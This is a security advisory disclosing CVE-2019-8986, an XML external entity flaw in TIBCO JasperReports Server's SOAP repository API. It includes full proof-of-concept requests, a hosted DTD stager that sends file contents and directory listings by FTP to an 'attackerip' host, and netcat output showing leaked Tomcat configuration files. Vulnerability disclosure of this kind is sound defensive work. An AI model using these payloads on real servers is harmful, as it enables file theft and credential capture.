CVE-2019-8986: Xml eXternal Entities (XXE) in TIBCO JasperReports Server

Security advisory

2019-03-11

Julien SZLAMOWICZ
Sebastien DUDEK

Vulnerability description

Presentation of *TIBCO JasperReports® Server*

*“**TIBCO JasperReports® Server** is a stand-alone and embeddable reporting server. It provides reporting and analytics that can be embedded into a web or mobile application as well as operate as a central information hub for the enterprise by delivering mission critical information on a real-time or scheduled basis to the browser, mobile device, or email inbox in a variety of file formats. JasperReports Server is optimized to share, secure, and centrally manage your Jaspersoft reports and analytic views..”*[1]

The issue

Synacktiv discovered that several endpoints of the *JasperReports Server* SOAP API handle user-provided XML documents without limiting the possibility to use custom XML doctypes and entities.

https://www.tibco.com/support/advisories/2019/03/tibco-security-advisory-march-6-2019-tibco-jasperreports-server-2018-8986

Affected versions

- TIBCO JasperReports® Server versions 6.3.4 and below
- TIBCO JasperReports® Server versions 6.4.0, 6.4.1, 6.4.2, and 6.4.3
- TIBCO JasperReports® Server for ActiveMatrix® BPM versions 6.4.3 and below

Timeline

Date	Action
2019-02-01	Advisory sent to TIBCO security team (security@tibco.com)
2019-03-06	TIBCO released a fix and published an advisory

1 https://docs.tibco.com/products/tibco-jasperreports-server-7-1-1

Technical description and proof-of-concept

An entity is a symbolic representation of data inside the XML document, that can be linked to external resources.

The XML engine parser of the *JasperServer-pro*'s web service interface does not prevent nor limit external entities resolution.

Every endpoints exposed in the *JapserServer-pro* repository service that accept parameters with the type *XmlString* are vulnerable. The web service specification is accessible at the following URI path:

- */jasperserver-pro/services/repository?wsdl*

The comprehensive list of vulnerable SOAP actions for this web service is:

- *copy*
- *runReport*
- *move*
- *delete*
- *list*

It was possible to identify the vulnerability by sending the following request to the web service:

```
POST /jasperserver-pro/services/repository HTTP/1.1
[...]
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.
w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:axis="http://axis2.ws.jasperserver.jaspersoft.com">
   <soapenv:Header/>
   <soapenv:Body>
      <axis:get soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <requestXmlString xsi:type="xsd:string">
            <![CDATA[
                <!DOCTYPE doc[
                    <!ENTITY % dtd SYSTEM "http://attackerip:4321">
                    %dtd;
                ]>
            ]]>
         </requestXmlString>
      </axis:get>
   </soapenv:Body>
</soapenv:Envelope>
```

The *dtd* entity tries to retrieve a file located on the remote address *attackerip*. By monitoring incoming requests, Synacktiv consultants were able to confirm the vulnerability:

```
$ nc -lvp 4321
Listening on [0.0.0.0] (family 0, port 4321)
Connection from 192.168.1.104 63012 received!
```

Risks

XXE attacks may lead to disclosure of sensitive information. Moreover, if the service doesn't restrict the size of the processed entities, an attacker could exploit this behavior to perform Denial of Service (DoS) attacks by using only few requests (*Quadratic BlowUp Attack and Billion Laughs Attack*). Those requests consume a lot of CPU and memory and may render the server unresponsive.

In this context, Synacktiv was able to exploit the XXE to list content of directories and read arbitrary files.

For better understanding, the following step by step process was used. The following payload was used by Synacktiv:

```
POST /jasperserver-pro/services/repository HTTP/1.1
[...]

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.
w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:axis="http://axis2.ws.jasperserver.jaspersoft.com">
   <soapenv:Header/>
   <soapenv:Body>
      <axis:get soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <requestXmlString xsi:type="xsd:string">
            <![CDATA[
                <!DOCTYPE doc[
                    <!ENTITY % dtd SYSTEM "http://attackerip:8000/test.xml">
                    %dtd;
                    %goout;
                    %ftp;
                ]>
            ]]>
         </requestXmlString>
      </axis:get>
   </soapenv:Body>
</soapenv:Envelope>
```

In the rest of the explanation, only the content of the CDATA tag will be considered. In addition to this payload, Synacktiv consultants hosted an additional payload part called a *stager* on their laptop. The stager was exposed at the following URL address:

```
http://attackerip:8000/test.xml
```

The stager (*test.xml*) file contained the following data:

```
<!ENTITY % start "<[CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % outfile SYSTEM "file:///<path to look>">
<!ENTITY % goout "<!ENTITY &#37; ftp SYSTEM 'ftp://attackerip:4321/%start;%outfile;
%end;'>">
```

When the request is issued to the server, the vulnerable XML parser goes through the document until it encounters the *%dtd;* entity call. Thus, it undertakes to resolve that token by its value. Consequently, it processes the *dtd* entity declaration contained in the *doctype*. Since it is a system entity pointing to a remote resource, the XML engine tries to retrieve the document. As mentioned earlier, the server has the possibility to contact Synacktiv's server to retrieve the document:

```
<!DOCTYPE doc[
    <!ENTITY % dtd SYSTEM "http://attadckerip:8000/test.xml">
    <!ENTITY % start "<[CDATA[">
    <!ENTITY % end "]]>">
    <!ENTITY % outfile SYSTEM "file:///<path to read>">
    <!ENTITY % goout "<!ENTITY &#37; ftp SYSTEM 'ftp://attackerip:4321/%start;%outfile;%end;'>">
    %goout;
    %ftp;
]>
```

Then the XML engine continues the parsing and encounters the *%goout;* entity call. This entity's declaration was not initially present in the document but has been imported through the stager. Similarly to the first step, it resolves the token, resulting in the following document:

```
<!DOCTYPE doc[
    <!ENTITY % dtd SYSTEM "http://attadckerip:8000/test.xml">
    <!ENTITY % start "<[CDATA[">
    <!ENTITY % end "]]>">
    <!ENTITY % outfile SYSTEM "file:///<path to read>">
    <!ENTITY % goout "<!ENTITY &#37; ftp SYSTEM 'ftp://attackerip:4321/%start;%outfile;
%end;'>">
    <!ENTITY % ftp SYSTEM 'ftp://attackerip:4321/%start;%outfile;%end;'>
    %ftp;
]>
```

Finally, the *%ftp;* entity call is encountered by the XML engine and resolved. It follows the same process. However, in this case, the declaration of the *ftp* entity contains itself multiple entities calls. Taking closer look at the following snippet:

```
    <!ENTITY % start "<[CDATA[">
    <!ENTITY % end "]]>">
    <!ENTITY % outfile SYSTEM "file:///<path to read>">
    <!ENTITY % ftp SYSTEM 'ftp://attackerip:4321/%start;%outfile;%end;'>
```

The XML engine will initiate a FTP connection to the *attackerip* on port 4321 and will send the following data:

```
%start;%outfile;%end;
```

Once resolved, the following data will be sent over FTP:

```
<[CDATA[
Content of the file pointed by the %outfile entity
]]>
```

It should be pointed out that the specificity of the present Java XML parser is that when the *outfile* entities points to a directory (instead of a file), it returns the list of files contained it the directory.

For instance, when Synacktiv used the following value for the *%outfile* entity:

```
<!ENTITY % outfile SYSTEM "file:///../../[...]/Tomcat8/conf">
```

This way, the list of files contained in the *Tomcat* configuration directory is exfiltrated:

```
$ nc -lvp 4321
Listening on [0.0.0.0] (family 0, port 4321)
Connection from 192.168.1.104 63012 received!
> 220
< USER anonymous
> 200
< TYPE I
> 200
< EPSV ALL
> 200
< EPSV
> 200
< EPRT |1|192.168.1.104|63013|
> 200
< RETR Catalina
< catalina.policy
< catalina.properties
< context.xml
< logging.properties
< server.xml
< tomcat-users.xml
< tomcat-users.xsd
< web.xml
```

It should be pointed out that a limitation still exists to this vulnerability. Indeed, since its exploitation relies on successive modifications of a XML document's structure, it is not possible to exfiltrate certain types of files such as binaries. In addition, most XML files can't be exfiltrated either because their value breaks the global XML document's structure.

Apart from reading files and listing directories, Synacktiv managed to capture an authentication's challenge response for the identity running the *Tomcat* server. Indeed, if the attacker presents an NTLM authentication to the application while trying to retrieve a remote resource over HTTP or SMB, the *Tomcat* servers automatically uses its identity to authenticate.